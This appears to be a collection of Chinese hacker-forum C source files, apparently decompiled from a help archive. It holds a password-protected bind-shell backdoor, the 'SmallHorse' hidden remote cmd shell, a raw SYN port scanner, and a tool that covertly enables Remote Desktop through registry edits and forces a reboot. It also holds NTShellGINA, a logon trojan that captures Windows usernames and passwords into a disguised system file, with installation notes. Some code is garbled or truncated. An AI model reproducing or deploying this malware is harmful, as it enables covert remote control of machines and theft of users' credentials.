char *messages = "\r\n======================== Ping
        BackDoor V0.1 ========================\r\n========= Code by Lion.

Welcome to Http://www.cnhonker.net
        =========\r\n";
char *getpass = "\r\n Your PassWord:";
char
        *passok = "\r\n OK! Please Enter:";
char *nothispass = "\r\n Sorry,
        Your PassWord Not Right.\r\n";
char *exitok = "\r\n Exit OK!\r\n";
char *rebootok = "\r\n Reboot now!\r\n";

// 创建一个socket
bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// 服务器地址和端口指定
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(bport);
addrServer.sin_addr.s_addr =
        ADDR_ANY;

// 设置超时
int TimeOut = 60000;
setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut,
        sizeof(TimeOut));

// 设置重复利用端口
UINT bReUser = 1;
setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR,
        (char*)&bReUser, sizeof(bReUser));

// 监听端口
bind(bindServer, (struct sockaddr*)&addrServer,
        sizeof(addrServer));
listen(bindServer, 2);

printf("\r\n Bind Port on %d ok.", bport);

// 接受client连接
int iLen = sizeof(addrClient);

// 接收1次连接
getClient = accept(bindServer, (struct
        sockaddr*)&addrClient, &iLen);

if(getClient !=
        INVALID_SOCKET)
{
// 如果有连接进来设置延时为60S
int iTimeOut = 60000;
setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut,
        sizeof(iTimeOut));
}
else
return -1;

// 写欢迎信息
send(getClient, messages, strlen(messages), 0);

//
        写密码验证信息
send(getClient, getpass, strlen(getpass), 0);

// 接收数据
recv(getClient,Buff,1024,0);

//
        验证密码
if(!(strstr(Buff, DEF_PASSWORD)))
{
// 如果密码错误,写密码错误信息
send(getClient, nothispass, strlen(nothispass), 0);
printf("\r\n
        PassWord Not Right!");
closesocket(getClient);
closesocket(bindServer);
return -1;
}

//
        写通过验证信息
send(getClient, passok, strlen(passok), 0);

//
        建两个匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead;

SECURITY_ATTRIBUTES sa;

sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

STARTUPINFO siinfo;
char cmdLine[] =
        "cmd.exe";
PROCESS_INFORMATION ProcessInformation;

ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags
        = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow =
        SW_HIDE;
siinfo.hStdInput =
        hReadPipe2;
        // 读socket写入pipe2的数据
siinfo.hStdOutput = siinfo.hStdError =
        hWritePipe1;  // 向这里写数据

printf("\r\n Pipe Create
        OK!");

// 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
int bread =
        CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

while(1)
{
// 检查管道是否有数据返回
int ret =
        PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

if(lBytesRead)
{
// 从管道hReadPipe1读数据
ret =
        ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret)
        break;

// 把从管道hReadPipe1读到的数据写入连接 getClient
ret =
        send(getClient,Buff,lBytesRead,0);
if(ret }
else
{
//
        如果连接 getClient 有接收到数据
lBytesRead = recv(getClient,Buff,1024,0);
if(lBytesRead
// 把从连接 getClient 读到的数据写入hWritePipe2
ret
        = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);

if(lBytesRead > 4 && Buff[0]=='e' &&
        Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{
// 写退出信息
send(getClient, exitok, strlen(exitok), 0);
closesocket(getClient);
closesocket(bindServer);
return 1;
}
else if(lBytesRead > 6 && Buff[0]=='r' &&
        Buff[1]=='e' && Buff[2]=='b' && Buff[3]=='o' &&

Buff[1]=='o' && Buff[2]=='t')
{
// 写重启
send(getClient, rebootok, strlen(rebootok), 0);
closesocket(getClient);
closesocket(bindServer);
ExitWindowsEx(EWX_REBOOT,NULL);
return 1;
}

if(!ret) break;
}
}

closesocket(getClient);
closesocket(bindServer);
return 1;
}

This file is decompiled
        by an unregistered version of ChmDecompiler.
Regsitered version does
        not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void usage();
bool recode(const char *infile,long offset,int length,char *oft);
bool copyfile(const char *infile);
bool readcode(const char *infile,long offset,int length);
main()
{

int length;
int j,rt;
char oft[1024];
long offset;
    char
        infile[256];

system("cls");

usage();

printf
        ("请输入需要修改的文件名:");
gets(infile);

copyfile(infile);

printf ("需要修改的长度:");
scanf("%x",&length);

printf ("请在下面输入需要修改的代码 (注意:回车--代表输入一个代码结束)\n");
for(j=0;j<length;j++)
{
scanf("%x",&oft[j]);

}

printf ("请输入需要修改的偏移地址:");
        scanf("%x",&offset);

readcode(infile,offset,length);
printf("为:\n");
for
        (j=0;j<length;j++)
{
printf("%x\n",oft[j]);
}
printf("\n");
rt=recode(infile,offset,length,oft);
if(rt==1)
{
printf("修改成功!谢谢使用。");
}
else
{
printf("修改失败!");
}
}

bool recode(const char *infile,long offset,int length,char *oft)
{

FILE *fp = NULL;
bool result=false;
if((fp=fopen(infile,"rb+"))!=NULL)
{
fseek(fp,offset,1);
fwrite(oft,length,1,fp);
fclose(fp);
result=true;
}
return(result);
}
bool copyfile(const char *infile)
{
FILE *fp = NULL;
FILE
        *fp1 = NULL;
char *outfile;
char ch;
  outfile= new
        char[strlen(infile)+5];
strcpy(outfile,infile);
strcat(outfile,".bak");

if(((fp=fopen(infile,"rb"))==NULL) ||
        ((fp1=fopen(outfile,"wb"))==NULL))
{
printf ("文件备份失败!请检查文件是否存在!\n");
exit
        (1);
}
ch=fgetc(fp);
while(!feof(fp))
{
fputc(ch,fp1);
ch=fgetc(fp);
}
fclose(fp);
fclose(fp1);

}

bool readcode(const char *infile,long offset,int length)
{
int i;
FILE *fp = NULL;
bool result=false;
char code[length];
        if((fp=fopen(infile,"rb"))!=NULL)
{
fseek(fp,offset,1);
fread(code,length,1,fp);
printf("替换:\n");
for
        (i=0;i<length;i++)
{
printf("%x\n",code);
}

fclose(fp);

}
}
void usage()
{
printf (" =========================================\n");
printf (" 程序资源修改器 v1.0\n");
printf (" 作者： 风泽\n");
printf (" 版权：中国黑客同盟会\n");
printf (" http://www.hackertop.com/\n");
printf (" =========================================\n\n");
printf (" 注意：1.需要修改的文件一定要和此程序放在同一个目录下。\n\n");
printf (" 2.输入文件名时请加入后缀名。\n\n");
}


原先的程序里有几行代码我为了测试方便直接给变量赋了固定值（很久以前的程序，贴的时候忘改回来了），如果直接编译运行结果肯定不正确，下面是改过的测试程序，VC6.0下编译、测试正常：
        原先的程序里有几行代码我为了测试方便直接给变量赋了固定值（很久以前的程序，贴的时候忘改回来了），如果直接编译运行结果肯定不正确，下面是改过的测试程序，VC6.0下编译、测试正常：

//---------------------------------------------------------------------------
#include
#include
#include

#pragma
        comment(lib, "ws2_32.lib")

/* Argument structure for
        SIO_KEEPALIVE_VALS */

struct tcp_keepalive {
u_long  onoff;
u_long  keepalivetime;
u_long
        keepaliveinterval;
};

// New WSAIoctl Options

#define
        SIO_RCVALL
        _WSAIOW(IOC_VENDOR,1)
#define
        SIO_RCVALL_MCAST      _WSAIOW(IOC_VENDOR,2)
#define SIO_RCVALL_IGMPMCAST  _WSAIOW(IOC_VENDOR,3)
#define
        SIO_KEEPALIVE_VALS    _WSAIOW(IOC_VENDOR,4)
#define
        SIO_ABSORB_RTRALERT   _WSAIOW(IOC_VENDOR,5)
#define
        SIO_UCAST_IF
        _WSAIOW(IOC_VENDOR,6)
#define SIO_LIMIT_BROADCASTS
        _WSAIOW(IOC_VENDOR,7)
#define
        SIO_INDEX_BIND
        _WSAIOW(IOC_VENDOR,8)
#define
        SIO_INDEX_MCASTIF     _WSAIOW(IOC_VENDOR,9)
#define SIO_INDEX_ADD_MCAST   _WSAIOW(IOC_VENDOR,10)
#define SIO_INDEX_DEL_MCAST   _WSAIOW(IOC_VENDOR,11)

typedef struct
        _IP_HEADER
        //定义IP首部
{
unsigned char
        h_lenver;
        //4位首部长度+4位IP版本号
unsigned char
        tos;
        //8位服务类型TOS
unsigned short
        total_len;
        //16位总长度（字节）
unsigned short
        ident;
        //16位标识
unsigned short  frag_and_flags;
        //3位标志位
unsigned char
        ttl;
        //8位生存时间 TTL
unsigned char
        proto;
        //8位协议 (TCP, UDP 或其他)
unsigned short
        checksum;
        //16位IP首部校验和
unsigned int
        sourceIP;
        //32位源IP地址
unsigned int
        destIP;
        //32位目的IP地址
} IP_HEADER;

typedef struct
        _TCP_HEADER
        //定义TCP首部
{
USHORT
        th_sport;
        //16位源端口
USHORT
        th_dport;
        //16位目的端口
unsigned int
        th_seq;
        //32位序列号
unsigned int
        th_ack;
        //32位确认号
unsigned char
        th_lenres;
        //4位首部长度/6位保留字
unsigned char
        th_flag;
        //6位标志位
USHORT
        th_win;
        //16位窗口大小
USHORT
        th_sum;
        //16位校验和
USHORT
        th_urp;
        //16位紧急数据偏移量
} TCP_HEADER;

typedef struct
        _PSD_HEADER
        //定义TCP伪首部
{
unsigned long
        saddr;
        //源地址
unsigned long
        daddr;
        //目的地址
char mbz;
char
        ptcl;
        //协议类型
unsigned short
        tcpl;
        //TCP长度
} PSD_HEADER;

SOCKET nSockRaw =
        INVALID_SOCKET, nSockListen = INVALID_SOCKET;

//SOCK错误处理程序
void CheckSockError(int nErrorCode, char *pErrorMsg)
{
if
        (nErrorCode == SOCKET_ERROR) {
printf("%s Error: %dn", pErrorMsg,
        GetLastError());
closesocket(nSockRaw);
closesocket(nSockListen);
ExitProcess(-1);
}
}

//计算检验和
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while (size > 1) {
cksum += *buffer++;
size -= sizeof(USHORT);
}

if (size) {
cksum += *(UCHAR*)buffer;
}
cksum
        = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum
        >>16);
return (USHORT)(~cksum);
}

//IP解包程序
int DecodeIPHeader(DWORD dwDest, DWORD dwSeq, char *pRecvBuf)
{
IP_HEADER       *ip_hdr;
TCP_HEADER      *tcp_hdr;
unsigned
        short  ip_hdr_len;

ip_hdr = (IP_HEADER *)pRecvBuf;
ip_hdr_len = sizeof(unsigned long) * (ip_hdr->h_lenver &
        0xf);
tcp_hdr = (TCP_HEADER*)(pRecvBuf + ip_hdr_len);

if(ip_hdr->sourceIP != dwDest)
return -1;

//序列号是否正确
if((ntohl(tcp_hdr->th_ack) != (dwSeq+1))
        &&
(ntohl(tcp_hdr->th_ack) != dwSeq))
return -1;

//RST/ACK - 无服务
if(tcp_hdr->th_flag == 20)
return 0;

//SYN/ACK - 扫描到一个端口
if(tcp_hdr->th_flag == 18)
return 1;

return 0;
}

int SynScan(char *pHost, int nPort)
{
int
        nDataSize;
DWORD
        dwSeq;
struct hostent   *hp;
IP_HEADER        ip_header;
TCP_HEADER       tcp_header;
PSD_HEADER       psd_header;
char
        pSendBuf[128]={0};
char
        pRecvBuf[65535]={0};
struct sockaddr_in sa, dest;

int
        nErrorCode;
int
        nRtn = 0;

dwSeq = 0x19760104 + nPort; // 初始序号，可以改为其他数值
nSockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_RAW);
CheckSockError(nSockRaw, "socket()");
nSockListen =
        socket(AF_INET , SOCK_RAW , IPPROTO_RAW);
CheckSockError(nSockListen, "socket");

//设置IP头操作选项
BOOL bOpt = true;
nErrorCode = setsockopt(nSockRaw, IPPROTO_IP,
        IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
CheckSockError(nErrorCode, "setsockopt()");

//获得本地IP
unsigned char LocalName[256];

nErrorCode =
        gethostname((char*)LocalName, sizeof(LocalName)-1);
CheckSockError(nErrorCode, "gethostname()");
if((hp =
        gethostbyname((char*)LocalName)) == NULL)
CheckSockError(SOCKET_ERROR, "gethostbyname()");
memcpy(&sa.sin_addr.S_un.S_addr, hp->h_addr_list[0],
        hp->h_length);
sa.sin_family = AF_INET;
sa.sin_port =
        htons(7000);
nErrorCode = bind(nSockListen, (PSOCKADDR)&sa,
        sizeof(sa));
CheckSockError(nErrorCode, "bind");
printf("source
        address: %sn", inet_ntoa(sa.sin_addr));

//设置SOCK_RAW为SIO_RCVALL，以便接收所有的IP包
DWORD
        dwBufferLen[10] ;
DWORD dwBufferInLen = 1 ;
DWORD
        dwBytesReturned = 0 ;
nErrorCode = WSAIoctl(nSockListen, SIO_RCVALL,
        &dwBufferInLen, sizeof(dwBufferInLen),
&dwBufferLen,
        sizeof(dwBufferLen), &dwBytesReturned, NULL, NULL );
CheckSockError(nErrorCode, "Ioctl");

//获得目标主机IP
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(nPort);
if((dest.sin_addr.s_addr =
        inet_addr(pHost)) == INADDR_NONE) {
if((hp = gethostbyname(pHost))
        != NULL) {
memcpy(&(dest.sin_addr), hp->h_addr_list[0],
        hp->h_length);
dest.sin_family = hp->h_addrtype;
}
else
CheckSockError(SOCKET_ERROR, "gethostbyname()");
}
printf("dest address: %sn", inet_ntoa(dest.sin_addr));

//填充IP首部
ip_header.h_lenver=(4 //高四位IP版本号，低四位首部长度
ip_header.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
        //16位总长度（字节）
ip_header.ident = 1; //16位标识
ip_header.frag_and_flags = 0; //3位标志位
ip_header.ttl = 128;
        //8位生存时间TTL
ip_header.proto = IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum = 0; //16位IP首部校验和
ip_header.sourceIP =
        sa.sin_addr.s_addr; //32位源IP地址
ip_header.destIP =
        dest.sin_addr.s_addr; //32位目的IP地址

//填充TCP首部
tcp_header.th_sport = htons(7000); //源端口号
tcp_header.th_dport =
        htons(nPort); //目的端口号
tcp_header.th_seq = htonl(dwSeq); //SYN序列号
tcp_header.th_ack = 0; //ACK序列号置为0
tcp_header.th_lenres =
        (sizeof(TCP_HEADER)/4 tcp_header.th_flag = 2; //SYN 标志
tcp_header.th_win = htons(16384); //窗口大小
tcp_header.th_urp = 0;
        //偏移
tcp_header.th_sum = 0; //校验和

//填充TCP伪首部（用于计算校验和，并不真正发送）
psd_header.saddr =
        ip_header.sourceIP;
psd_header.daddr = ip_header.destIP;
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP;
psd_header.tcpl = htons(sizeof(tcp_header));

//计算TCP校验和，计算校验和时需要包括TCP pseudo header
memcpy(pSendBuf, &psd_header, sizeof(psd_header));
memcpy(pSendBuf+sizeof(psd_header), &tcp_header,
        sizeof(tcp_header));
tcp_header.th_sum = checksum((USHORT
        *)pSendBuf, sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和
memcpy(pSendBuf, &ip_header,
        sizeof(ip_header));
memcpy(pSendBuf+sizeof(ip_header),
        &tcp_header, sizeof(tcp_header));
memset(pSendBuf+sizeof(ip_header)+sizeof(tcp_header), 0, 4);
nDataSize = sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum = checksum((USHORT *)pSendBuf,
        sizeof(ip_header));

//填充发送缓冲区
memcpy(pSendBuf,
        &ip_header, sizeof(ip_header));

//发送TCP报文
nErrorCode = sendto(nSockRaw, pSendBuf, nDataSize, 0, (struct
        sockaddr*)&dest, sizeof(dest));
CheckSockError(nErrorCode,
        "sendto()");

//接收数据
DWORD dwTimeout = 2000;
DWORD
        dwStartTime = GetTickCount();
while(TRUE) {
//计时,2s超时
if((GetTickCount() - dwStartTime) >= dwTimeout) break;

memset(pRecvBuf, 0, sizeof(pRecvBuf));
nErrorCode =
        recv(nSockListen, pRecvBuf, sizeof(pRecvBuf), 0);
CheckSockError(nErrorCode, "recv");

nRtn =
        DecodeIPHeader(dest.sin_addr.s_addr, dwSeq, pRecvBuf);
if(nRtn >=
        0 ) {
if(nRtn == 0) break;
tcp_header.th_flag = 4; //RST 标志
//计算TCP校验和，计算校验和时需要包括TCP pseudo header
memcpy(pSendBuf,
        &psd_header,sizeof(psd_header));
memcpy(pSendBuf+sizeof(psd_header), &tcp_header,
        sizeof(tcp_header));
tcp_header.th_sum = checksum((USHORT
        *)pSendBuf, sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和
memcpy(pSendBuf, &ip_header,
        sizeof(ip_header));
memcpy(pSendBuf+sizeof(ip_header),
        &tcp_header, sizeof(tcp_header));
memset(pSendBuf+sizeof(ip_header)+sizeof(tcp_header), 0, 4);
nDataSize = sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum = checksum((USHORT *)pSendBuf, nDataSize);

//填充发送缓冲区
memcpy(pSendBuf, &ip_header,
        sizeof(ip_header));

//发送TCP报文
nErrorCode =
        sendto(nSockRaw, pSendBuf, nDataSize, 0, (struct sockaddr*)&dest,
        sizeof(dest));
CheckSockError(nErrorCode, "sendto()");

break;
}
}

if(nSockRaw !=
        INVALID_SOCKET)
closesocket(nSockRaw);

return nRtn;
}

//主函数
int main(int argc,char **argv)
{
char    szHostName[255];
int     nPort;
int
        nErrorCode;

if (argc printf("synscan [Host] [Port]n");
return 0;
}

//初始化SOCKET
WSADATA wsaData;
nErrorCode = WSAStartup(MAKEWORD(2,2), &wsaData);
CheckSockError(nErrorCode, "WSAdwStartTimeup()");

strcpy(szHostName, argv[1]);
nPort = atoi(argv[2]);

printf("Scanning %s:%d ...n", szHostName, nPort);
nErrorCode = SynScan(szHostName, nPort);

if
        (nErrorCode > 0)
printf("Port %d is open.n", nPort);
else
printf("Port %d is closed.n", nPort);

WSACleanup();
return 0;
}

This file is decompiled
        by an unregistered version of ChmDecompiler.
Regsitered version does
        not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


#include "windows.h"
#include "windows.h"
#include "iostream.h"

void main(int argc, char* argv[])
{
HKEY
        hKey;
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;
LPCTSTR
        key[]={"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache\\",
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\",
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\",
"SYSTEM\\CurrentControlSet\\Services\\TermDD\\",
"SYSTEM\\CurrentControlSet\\Services\\TermService\\",
"SYSTEM\\CurrentControlSet\\Control\\Terminal
        Server\\WinStations\\RDP-Tcp\\",
".DEFAULT\\Keyboard
        Layout\\Toggle\\"};
HKEY head[]={HKEY_LOCAL_MACHINE,
        HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,
HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE,
HKEY_USERS};
DWORD
        type[] =
        {REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_DWORD,REG_SZ};
LPCTSTR value[] = {"\x00\x00\x00\x00", "\x01\x00\x00\x00",
        "\x01\x00\x00\x00", "\x02\x00\x00\x00", "\x02\x00\x00\x00",
        "\x3d\x0d\x00\00", "2"};
DWORD length[] = {4, 4, 4, 4, 4, 4, 2};
LPCTSTR name[] =
        {"Enabled","EnableAdminTSRemote","TSEnabled","Start","Start","PortNumber","Hotkey"};
for(int i = 0; i
        RegCreateKeyEx(head[i],key[i],0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,NULL);
for(i = 0; i {
if(::RegOpenKeyEx(head[i], key[i], 0, KEY_WRITE,
        &hKey) != ERROR_SUCCESS)
{
cout return;
}
if(::RegSetValueEx(hKey, name[i], 0, type[i], (LPBYTE)value[i],
        length[i]) != ERROR_SUCCESS)
{
cout return;
}
}
ProcessId = GetCurrentProcessId();
hProcess =
        OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)
||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
        &luidPrivilegeLUID))
{
cout return;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid =
        luidPrivilegeLUID;
NewState.Privileges[0].Attributes =
        SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE,
        &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE |
        EWX_REBOOT, 0);
return;
}

This file
        is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download
        ChmDecompiler at : http://www.zipghost.com/


#include<winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf(" /***************************************\\\n");
printf(" |This SmallHorse's First CMDSHELL V0.1 |\n");
printf(" |Thanks For Using It! |\n");
printf(" |SmallHorse [E.S.T] VIP 2005.03 |\n");
printf(" |***************************************|\n");
printf(" |usage:smallhorse [-p port] |\n");
printf(" | port: Port Number To Listen On |\n");
printf(" | Default Port Is 1983 |\n");
printf(" \\***************************************/\n");
return;
}
void OpenDoor()
{
// 初始化 Winsock.
WSADATA wsaData;
SOCKET
        m_socket,AcceptClient;
sockaddr_in
        Service,Client;
int ClientSize,i=0;
int
        iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if (
        iResult != NO_ERROR )
return;
  // 创建一个 socket.

m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(m_socket==SOCKET_ERROR)
return;
Service.sin_family = AF_INET;
Service.sin_addr.s_addr = htonl(INADDR_ANY);
Service.sin_port
        = htons( port );
  if(bind( m_socket,
        (SOCKADDR*)&Service, sizeof(Service)
        )==SOCKET_ERROR)
return;//邦定

if
        (listen(m_socket,5)==SOCKET_ERROR)
return;//最大监听列队5个
printf("\nsmallhorse Listen On Port: %d...
        ^*^\n",port);
ClientSize=sizeof(Client);
while(1)
{
AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
if(AcceptClient==SOCKET_ERROR)
return;//接受连接
printf( "Client
        Connected.\n");
char *sendbuf =
        "/***************************************\\\n\tThanks For
        Using...\n\tSmallHorse's CmdShell!\n\tGood
        Luck!\n\\***************************************/\n\n";
send(
        AcceptClient, sendbuf, strlen(sendbuf), 0 );

if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
printf("Create Thread Error!\n");
Sleep(1000);
}
WSACleanup();
return;
}
DWORD WINAPI
        ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE
        Rpipe,Wpipe,Wfile,Rfile;
SOCKET
        AcceptClient=(SOCKET)*(SOCKET*)lpParam;
SECURITY_ATTRIBUTES
        sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;
ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0);
        //建立两个管道，分别用于接收命令和显示结果
STARTUPINFO
        startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;
char
        cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
strcat(cmdline,("\\cmd.exe"));
PROCESS_INFORMATION
        proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned
        long ByteRec;
while(1)
{
Sleep(100);
PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
if(ByteRec){
ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
ret=send(AcceptClient,Buf,ByteRec,0);
if(ret<=0)
break;
}
else{
ByteRec=recv(AcceptClient,Buf,1024,0);
if(ByteRec<=0)
break;
ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
}
}
return 0;
}
int main(int
        argc, char *argv[])
{
Help();
if(argc==3)
if(!strcmp(argv[1],"-p"))
port=atoi(argv[2]);
OpenDoor();
return
        0;
}


/*

NTShellGINA.c - a gina stub come from NTShell 1.0
    by：bingle@email.com.cn, from homepage:bingle_site.top263.net

This file is modified from microsoft sample ginastub.c,
    this file will save the logon password to the file system32\\msole32.srg

WinLogon登录管理：

Winlogon进程负责管理登录相关的安全性工作，它负责处理用户的登录与注销、启动用户shell、输入口令
、更改口令、锁定与解锁工作站等。Winlogon进程必须保证其与安全相关操作对其他进程不可见，以免其他
进程取得登录密码。

系统初始化时，启动用户程序之前，Winlogon进行特定工作已保障以上的需求。Winlogon进程将创建并打开
一个Window Stations，然后设置一个访问控制人口(ACE)，该ACE中只包含Winlogon进程的SID，这样就
只有Winlogon进程才能访问该Window Stations 。然后winlogon创建桌面，设置其中的winlogon桌面
只有winlogon可以访问，其他进程不能访问该桌面的任何数据和代码；利用这一特性保护口令、锁定桌面
等操作的安全。winlogon还会注册安全注意序列（SAS - secure attention sequence）的热键，任何时候
按下SAS热键（缺省为ctrl+alt+del），将调用Winlogon，切换到安全桌面，从而使密码捕捉程序不能接收
登录密码和更改密码等安全活动。

而登录进程的验证和身份验证都是在GINA（GINA - Graphical Identification and Authentication
图形标识和身份验证）中实现的，微软的GINA是MSGINA.dll，实现了默认的Windows NT登录界面。
不过可以自己开发GINA DLL以实现其他的身份验证方法，如磁卡。当然这也为木马留下了机会，可以通过
编写和系统GINA界面相同的GINA，然后取代MSGINA.dll。在msdn sample里有一个GINA的例子。不过如果
仅仅为了获取登录密码，没有必要那么麻烦，只需写一个接口和GINA一样的，然后所有函数在实现时都去调
用MSGINA.dll的相同函数就可以了，在msdn sample里也有这样一个例子叫做ginastub，当然作为木马
还要在登录时将密码转储。（更多的gina信息，在msdn里查找gina）

NTShelGINA就是使用了后一种方法。我把ginastub改了改，在登录时将username：password：domain
存在msole32.srg里。它在运行时具体功能都要调用msgina.dll，因此安装时这个文件必须存在，然后将
msgina.dll改名为winlogon32.dll，然后把NTShellGINA.dll拷贝为msgina.dll即可。这是ntshell
里的第二种安装方法。

不过微软还在注册表里留了一个位置由于安装GINA，在HKLM\Software\Microsoft
\Windows NT\CurrentVersion\Winlogon下设置GINADLL为某个GINA DLL，（GINADLL这个值缺省没有）
如果设置了这个值，nt会调用该GINA，而不会调用缺省的msGINA.dll。因此NTShell的第一种安装方法是
将NTShellGINA.dll拷贝到system32\mshtmlgi.dll，然后设置GINADLL为mshtmlgi.dll。

因此第二种方法安装成功的前提是系统原来没有设置GINADLL这个值，否则将不予安装NTShellGINA 。
当然在win2000里如果使用第二种安装方法还要把dllcache里msgina.dll改名。（ntshell改名为
mshtmlgi.dll)。

由于GINA DLL负责系统认证和安全登录，因此如果一旦出错，用户将不能登录系统，必须慎用。也因此
NTShell在安装时作了较多的检测，如果检测失败将不予安装。比如在把ntshellgina.dll拷贝为文件
msgina.dll的安装方法里，第一次mslogon32.dll 用msgina.dll替换mslogon32.dll，用ntshellgina.dll替换后来的msgina.dll（其实还是ntshellgina.dll)
，这样原来的msgina.dll就没有了，只有两个ntshellgina.dll，找不到真正的msgina.dll，ntshellgina.dll
将失败。

ntshell依次作如下检测：
注册表里的GINADLL如果设置，则认为系统不是使用默认的登录GINA，自然不予安装（找不
    到msgina.dll或者其他程序工作不正常)
如果系统的msgina.dll和ntshellgina.dll相同，则认为已经安装过了，不能再次安装
如果系统中存在mslogon32.dll，有可能使用ntshell安装过了，不再安装（除非你确认，msgina.dll
    还是原来的，可以手工删除mslogon32.dll，再安装；否则不要安装）

如果安装出错，不能登录，可以参考msdn的如下说明进行恢复：（我使用的是第4种方法，其他的未试）

    WARNING! - It is possible to make your machine unusable if you install a
replacement Gina and it fails. To avoid this situation, be sure that you have
a method of accessing the %systemroot%\SYSTEM32 directory independent of the
Windows NT? installation you are testing on.

If the Gina sample malfunctions, and you are not able to log on to fix the problem,
you can recover by doing one of the following:

  1.If the test machine is on the network and you have an account on another machine
with Administrative privileges on the test machine, open the test machine registry
remotely with regedt32 and delete the GinaDLL value.

  2.If the test machine is on the network, and %systemroot%\SYSTEM32 is available on
a network share for that machine (e.g. \\ \c$), rename Gina.dll to something
else with a command like:
ren \\ \c$\winnt351\system32\gina.dll gina.sdk
Reboot the test machine.

  3.Delete the GinaDLL value from the registry.

  4.If the test machine will dual boot to another version of Windows NT or another
operating system capable of accessing %systemroot%\system32, boot to that operating
system, delete %systemroot%\system32\Gina.dll, reboot, and delete the GinaDLL value
from the registry.

//next is the microsoft msdn original comments
Module :　ginastub.c

Abstract:

    This sample illustrates a pass-thru "stub" gina which can be used
    in some cases to simplify gina development.

    A common use for a gina is to implement code which requires the
    credentials of the user logging onto the workstation.　The credentials
    may be required for syncronization with foreign account databases
    or custom authentication activities.

    In this example case, it is possible to implement a simple gina
    stub layer which simply passes control for the required functions
    to the previously installed gina, and captures the interesting
    parameters from that gina.　In this scenario, the existing functionality
    in the existent gina is retained.　In addition, the development time
    is reduced drastically, as existing functionality does not need to
    be duplicated.

    When dealing with credentials, take steps to maintain the security
    of the credentials.　For instance, if transporting credentials over
    a network, be sure to encrypt the credentials.

Author:

    Scott Field (sfield)　　18-Jul-96

--*/

#include
#include
#include

#include "ginastub.h"

//
// winlogon function dispatch table
//

PWLX_DISPATCH_VERSION_1_0 g_pWinlogon;

//
// Functions pointers to the real msgina which we will call.
//

PGWLXNEGOTIATE GWlxNegotiate;
PGWLXINITIALIZE GWlxInitialize;
